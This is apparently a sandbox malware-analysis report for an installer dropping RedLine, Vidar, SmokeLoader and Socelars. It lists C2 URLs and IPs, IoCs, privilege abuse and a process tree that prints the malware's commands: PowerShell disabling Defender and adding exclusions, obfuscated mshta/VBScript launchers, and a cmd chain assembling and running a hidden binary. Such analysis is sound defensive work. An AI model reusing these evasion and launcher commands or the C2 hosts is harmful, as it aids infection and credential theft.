Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows7_x64
10022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows7_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows7_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows7_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows7_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows7_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows7_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows7_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows7_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows7_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
29s -
max time network
164s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
08/11/2021, 14:48
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win7-en-20211104
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral5
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win7-en-20211104
Behavioral task
behavioral6
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211104
Behavioral task
behavioral7
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win7-en-20211014
Behavioral task
behavioral8
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral9
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win7-en-20211014
Behavioral task
behavioral10
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211104
Behavioral task
behavioral11
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win7-en-20211104
Behavioral task
behavioral12
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral13
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win7-en-20211104
Behavioral task
behavioral14
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win7-en-20211104
Behavioral task
behavioral16
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211014
Behavioral task
behavioral17
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win7-en-20211104
Behavioral task
behavioral18
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211014
Behavioral task
behavioral19
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win7-en-20211104
Behavioral task
behavioral20
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
General
-
Target
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
-
Size
5.9MB
-
MD5
00987bdf68fafbdfa9dd1365a6827d72
-
SHA1
f205c391087833eeb978895d37c2e199c4bf2747
-
SHA256
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb
-
SHA512
9fb4e297f48a95d31a3bc82159b7304f29f50d9e7b823a91b6af02453deca7cf5ef50698b1aee9f00120c1d5d90de1b0fdbb5c92fedbc5823eea743d9e3e6319
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
redline
media29
91.121.67.60:23325
Extracted
redline
srtupdate33
135.181.129.119:4805
Extracted
redline
chris
194.104.136.5:46013
Extracted
smokeloader
2020
http://brandyjaggers.com/upload/
http://andbal.com/upload/
http://alotofquotes.com/upload/
http://szpnc.cn/upload/
http://uggeboots.com/upload/
http://100klv.com/upload/
http://rapmusic.at/upload/
Extracted
vidar
41.6
933
https://mas.to/@lilocc
-
profile_id
933
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4492 1192 rundll32.exe 150 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6584 1192 rundll32.exe 150 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
resource yara_rule behavioral20/memory/5072-289-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral20/memory/5072-290-0x0000000000418D2A-mapping.dmp family_redline behavioral20/memory/3408-295-0x0000000000418D32-mapping.dmp family_redline behavioral20/memory/4432-296-0x0000000000418D3E-mapping.dmp family_redline behavioral20/memory/4432-294-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral20/memory/3408-292-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral20/files/0x000400000001abb9-176.dat family_socelars behavioral20/files/0x000400000001abb9-218.dat family_socelars -
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral20/memory/2964-551-0x0000000003260000-0x0000000003336000-memory.dmp family_vidar behavioral20/memory/2964-584-0x0000000000400000-0x0000000002F63000-memory.dmp family_vidar -
resource yara_rule behavioral20/files/0x000400000001abc2-128.dat aspack_v212_v242 behavioral20/files/0x000400000001abc2-125.dat aspack_v212_v242 behavioral20/files/0x000400000001abc4-133.dat aspack_v212_v242 behavioral20/files/0x000400000001abc4-130.dat aspack_v212_v242 behavioral20/files/0x000400000001abc1-132.dat aspack_v212_v242 behavioral20/files/0x000400000001abc1-131.dat aspack_v212_v242 behavioral20/files/0x000400000001abc1-126.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 21 IoCs
pid Process 4408 setup_installer.exe 3280 setup_install.exe 3244 cmd.exe 4140 179731.exe 4128 Fri0471ced4d802994.exe 4136 Fri04113f869350dcf8.exe 2344 Fri04e6f3b78ae5759.exe 4764 Fri043b65bf09aa6129a.exe 4904 mshta.exe 4884 Fri040eeed7d137.exe 4952 Fri042d82e64f594.exe 4916 Fri0431de7a47.exe 1252 Fri0470d89df3bb718.exe 5008 Fri04b1200e850ea1bc.exe 944 Fri040df945a5.exe 2292 Fri043a70f76ef98.exe 5024 Fri048a4e8610c6c199.exe 3164 Fri0480a54c0d2a7.exe 5116 Fri047a1b6fc980f8.exe 3744 Fri0471ced4d802994.tmp 1648 Fri0471ced4d802994.exe -
Loads dropped DLL 9 IoCs
pid Process 3280 setup_install.exe 3280 setup_install.exe 3280 setup_install.exe 3280 setup_install.exe 3280 setup_install.exe 3280 setup_install.exe 3280 setup_install.exe 3280 setup_install.exe 3744 Fri0471ced4d802994.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 ip-api.com 92 ipinfo.io 155 freegeoip.app 165 freegeoip.app 227 ipinfo.io 228 ipinfo.io 90 ipinfo.io 91 ipinfo.io 153 freegeoip.app 156 freegeoip.app 180 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 15 IoCs
pid pid_target Process procid_target 4836 3280 WerFault.exe 70 1136 4432 WerFault.exe 119 5312 944 WerFault.exe 103 5616 944 WerFault.exe 103 5964 944 WerFault.exe 103 5484 944 WerFault.exe 103 4648 2612 WerFault.exe 148 4088 652 WerFault.exe 139 1248 652 WerFault.exe 139 684 944 WerFault.exe 103 1960 652 WerFault.exe 139 6384 652 WerFault.exe 139 6552 944 WerFault.exe 103 6896 944 WerFault.exe 103 7128 652 WerFault.exe 139 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 7020 schtasks.exe 7016 schtasks.exe -
Kills process with taskkill 7 IoCs
pid Process 4540 taskkill.exe 4572 taskkill.exe 1736 taskkill.exe 5364 taskkill.exe 5932 taskkill.exe 6372 taskkill.exe 2176 taskkill.exe -
Suspicious use of AdjustPrivilegeToken 37 IoCs
description pid Process Token: SeCreateTokenPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeAssignPrimaryTokenPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeLockMemoryPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeIncreaseQuotaPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeMachineAccountPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeTcbPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeSecurityPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeTakeOwnershipPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeLoadDriverPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeSystemProfilePrivilege 3164 Fri0480a54c0d2a7.exe Token: SeSystemtimePrivilege 3164 Fri0480a54c0d2a7.exe Token: SeProfSingleProcessPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeIncBasePriorityPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeCreatePagefilePrivilege 3164 Fri0480a54c0d2a7.exe Token: SeCreatePermanentPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeBackupPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeRestorePrivilege 3164 Fri0480a54c0d2a7.exe Token: SeShutdownPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeDebugPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeAuditPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeSystemEnvironmentPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeChangeNotifyPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeRemoteShutdownPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeUndockPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeSyncAgentPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeEnableDelegationPrivilege 3164 Fri0480a54c0d2a7.exe Token: SeManageVolumePrivilege 3164 Fri0480a54c0d2a7.exe Token: SeImpersonatePrivilege 3164 Fri0480a54c0d2a7.exe Token: SeCreateGlobalPrivilege 3164 Fri0480a54c0d2a7.exe Token: 31 3164 Fri0480a54c0d2a7.exe Token: 32 3164 Fri0480a54c0d2a7.exe Token: 33 3164 Fri0480a54c0d2a7.exe Token: 34 3164 Fri0480a54c0d2a7.exe Token: 35 3164 Fri0480a54c0d2a7.exe Token: SeDebugPrivilege 1252 Fri0470d89df3bb718.exe Token: SeRestorePrivilege 4836 WerFault.exe Token: SeBackupPrivilege 4836 WerFault.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3976 wrote to memory of 4408 3976 f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe 69 PID 3976 wrote to memory of 4408 3976 f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe 69 PID 3976 wrote to memory of 4408 3976 f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe 69 PID 4408 wrote to memory of 3280 4408 setup_installer.exe 70 PID 4408 wrote to memory of 3280 4408 setup_installer.exe 70 PID 4408 wrote to memory of 3280 4408 setup_installer.exe 70 PID 3280 wrote to memory of 436 3280 setup_install.exe 73 PID 3280 wrote to memory of 436 3280 setup_install.exe 73 PID 3280 wrote to memory of 436 3280 setup_install.exe 73 PID 3280 wrote to memory of 500 3280 setup_install.exe 74 PID 3280 wrote to memory of 500 3280 setup_install.exe 74 PID 3280 wrote to memory of 500 3280 setup_install.exe 74 PID 3280 wrote to memory of 1128 3280 setup_install.exe 75 PID 3280 wrote to memory of 1128 3280 setup_install.exe 75 PID 3280 wrote to memory of 1128 3280 setup_install.exe 75 PID 3280 wrote to memory of 1196 3280 setup_install.exe 92 PID 3280 wrote to memory of 1196 3280 setup_install.exe 92 PID 3280 wrote to memory of 1196 3280 setup_install.exe 92 PID 436 wrote to memory of 1212 436 cmd.exe 76 PID 436 wrote to memory of 1212 436 cmd.exe 76 PID 436 wrote to memory of 1212 436 cmd.exe 76 PID 500 wrote to memory of 1388 500 cmd.exe 77 PID 500 wrote to memory of 1388 500 cmd.exe 77 PID 500 wrote to memory of 1388 500 cmd.exe 77 PID 3280 wrote to memory of 1436 3280 setup_install.exe 78 PID 3280 wrote to memory of 1436 3280 setup_install.exe 78 PID 3280 wrote to memory of 1436 3280 setup_install.exe 78 PID 3280 wrote to memory of 1624 3280 setup_install.exe 79 PID 3280 wrote to memory of 1624 3280 setup_install.exe 79 PID 3280 wrote to memory of 1624 3280 setup_install.exe 79 PID 3280 wrote to memory of 1748 3280 setup_install.exe 91 PID 3280 wrote to memory of 1748 3280 setup_install.exe 91 PID 3280 wrote to memory of 1748 3280 setup_install.exe 91 PID 3280 wrote to memory of 1756 3280 setup_install.exe 80 PID 3280 wrote to memory of 1756 3280 setup_install.exe 80 PID 3280 wrote to memory of 1756 3280 setup_install.exe 80 PID 3280 wrote to memory of 2008 3280 setup_install.exe 82 PID 3280 wrote to memory of 2008 3280 setup_install.exe 82 PID 3280 wrote to memory of 2008 3280 setup_install.exe 82 PID 3280 wrote to memory of 2100 3280 setup_install.exe 81 PID 3280 wrote to memory of 2100 3280 setup_install.exe 81 PID 3280 wrote to memory of 2100 3280 setup_install.exe 81 PID 3280 wrote to memory of 2184 3280 setup_install.exe 90 PID 3280 wrote to memory of 2184 3280 setup_install.exe 90 PID 3280 wrote to memory of 2184 3280 setup_install.exe 90 PID 3280 wrote to memory of 2412 3280 setup_install.exe 83 PID 3280 wrote to memory of 2412 3280 setup_install.exe 83 PID 3280 wrote to memory of 2412 3280 setup_install.exe 83 PID 3280 wrote to memory of 2496 3280 setup_install.exe 84 PID 3280 wrote to memory of 2496 3280 setup_install.exe 84 PID 3280 wrote to memory of 2496 3280 setup_install.exe 84 PID 3280 wrote to memory of 2664 3280 setup_install.exe 89 PID 3280 wrote to memory of 2664 3280 setup_install.exe 89 PID 3280 wrote to memory of 2664 3280 setup_install.exe 89 PID 3280 wrote to memory of 2696 3280 setup_install.exe 85 PID 3280 wrote to memory of 2696 3280 setup_install.exe 85 PID 3280 wrote to memory of 2696 3280 setup_install.exe 85 PID 3280 wrote to memory of 2708 3280 setup_install.exe 86 PID 3280 wrote to memory of 2708 3280 setup_install.exe 86 PID 3280 wrote to memory of 2708 3280 setup_install.exe 86 PID 3280 wrote to memory of 3044 3280 setup_install.exe 87 PID 3280 wrote to memory of 3044 3280 setup_install.exe 87 PID 3280 wrote to memory of 3044 3280 setup_install.exe 87 PID 3280 wrote to memory of 3804 3280 setup_install.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe"C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3976 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4408 -
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS831FB566\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3280 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵PID:1212
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:500 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:1388
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri048a4e8610c6c199.exe4⤵PID:1128
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri048a4e8610c6c199.exeFri048a4e8610c6c199.exe5⤵PID:3244
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri048a4e8610c6c199.exe"C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri048a4e8610c6c199.exe" -u6⤵
- Executes dropped EXE
PID:5024
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri040eeed7d137.exe4⤵PID:1436
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri040eeed7d137.exeFri040eeed7d137.exe5⤵
- Executes dropped EXE
PID:4884
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04e6f3b78ae5759.exe4⤵PID:1624
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04e6f3b78ae5759.exeFri04e6f3b78ae5759.exe5⤵
- Executes dropped EXE
PID:2344 -
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04e6f3b78ae5759.exeC:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04e6f3b78ae5759.exe6⤵PID:3408
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04f70c88181ec8.exe4⤵PID:1756
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04f70c88181ec8.exeFri04f70c88181ec8.exe5⤵PID:4140
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04f70c88181ec8.exeC:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04f70c88181ec8.exe6⤵PID:5072
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04b1200e850ea1bc.exe4⤵PID:2100
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04b1200e850ea1bc.exeFri04b1200e850ea1bc.exe5⤵
- Executes dropped EXE
PID:5008 -
C:\Users\Admin\Pictures\Adobe Films\TFYhs_eqPwU0Vyg5K4PnbJ3N.exe"C:\Users\Admin\Pictures\Adobe Films\TFYhs_eqPwU0Vyg5K4PnbJ3N.exe"6⤵PID:4132
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri043b65bf09aa6129a.exe4⤵PID:2008
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri043b65bf09aa6129a.exeFri043b65bf09aa6129a.exe5⤵
- Executes dropped EXE
PID:4764 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT:cLOsE(CREatEObjecT( "wscript.shell" ). ruN ("cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri043b65bf09aa6129a.exe"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If """" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri043b65bf09aa6129a.exe"" ) do taskkill /F /iM ""%~nXm"" " , 0, tRUE ) )6⤵PID:3344
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri043b65bf09aa6129a.exe" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If ""== "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri043b65bf09aa6129a.exe") do taskkill /F /iM "%~nXm"7⤵PID:4192
-
C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu68⤵PID:1576
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT:cLOsE(CREatEObjecT( "wscript.shell" ). ruN ("cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If ""-POMRtdzPDR3vhvdcwHXlRw6vXu6 "" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ) do taskkill /F /iM ""%~nXm"" " , 0, tRUE ) )9⤵PID:2924
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If "-POMRtdzPDR3vhvdcwHXlRw6vXu6 "== "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE") do taskkill /F /iM "%~nXm"10⤵
- Executes dropped EXE
PID:3244
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRipt: CLOSE ( CreateobjeCT( "WScRipT.shELL" ). RUn ( "cmd /r EcHO | set /P = ""MZ"" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO +mNJeI.lLp + GL6hqC.zFb ..\JPBHeH05.Q & StART msiexec -y ..\JPBHeH05.Q & DeL /q * " , 0, TRue ))9⤵
- Executes dropped EXE
PID:4904 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r EcHO | set /P = "MZ" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO+mNJeI.lLp +GL6hqC.zFb ..\JPBHeH05.Q &StART msiexec -y ..\JPBHeH05.Q& DeL /q *10⤵PID:5928
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "11⤵PID:2500
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>LBBCBWE.COE"11⤵PID:5932
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -y ..\JPBHeH05.Q11⤵PID:4060
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /iM "Fri043b65bf09aa6129a.exe"8⤵
- Kills process with taskkill
PID:4572
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri047a1b6fc980f8.exe4⤵PID:2412
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri047a1b6fc980f8.exeFri047a1b6fc980f8.exe5⤵
- Executes dropped EXE
PID:5116
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri040df945a5.exe /mixone4⤵PID:2496
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri040df945a5.exeFri040df945a5.exe /mixone5⤵
- Executes dropped EXE
PID:944 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 944 -s 6606⤵
- Program crash
PID:5312
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 944 -s 6766⤵
- Program crash
PID:5616
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 944 -s 7126⤵
- Program crash
PID:5964
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 944 -s 6446⤵
- Program crash
PID:5484
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 944 -s 8846⤵
- Program crash
PID:684
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 944 -s 9566⤵
- Program crash
PID:6552
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 944 -s 10846⤵
- Program crash
PID:6896
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0431de7a47.exe4⤵PID:2696
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0431de7a47.exeFri0431de7a47.exe5⤵
- Executes dropped EXE
PID:4916 -
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0431de7a47.exeC:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri0431de7a47.exe6⤵PID:4432
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4432 -s 247⤵
- Program crash
PID:1136
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04a13875aa1c59b58.exe4⤵PID:2708
-
C:\Users\Admin\AppData\Local\Temp\7zS831FB566\Fri04a13875aa1c59b58.exeFri04a13875aa1c59b58.exe5⤵PID:4904
-
C:\Users\Admin\AppData\Roaming\179731.exe"C:\Users\Admin\AppData\Roaming\179731.exe"6⤵
- Executes dropped EXE
PID:4140
-
-
C:\Users\Admin\AppData\Roaming\1974187.exe"C:\Users\Admin\AppData\Roaming\1974187.exe"6⤵PID:5156
-
-
C:\Users\Admin\AppData\Roaming\131126.exe"C:\Users\Admin\AppData\Roaming\131126.exe"6⤵PID:5328
-
-
C:\Users\Admin\AppData\Roaming\2984668.exe"C:\Users\Admin\AppData\Roaming\2984668.exe"6⤵PID:5448
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\2984668.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\2984668.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))7⤵PID:5796
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\2984668.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\2984668.exe" ) do taskkill -f -Im "%~NXZ"8⤵PID:6080
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i9⤵PID:4696
-
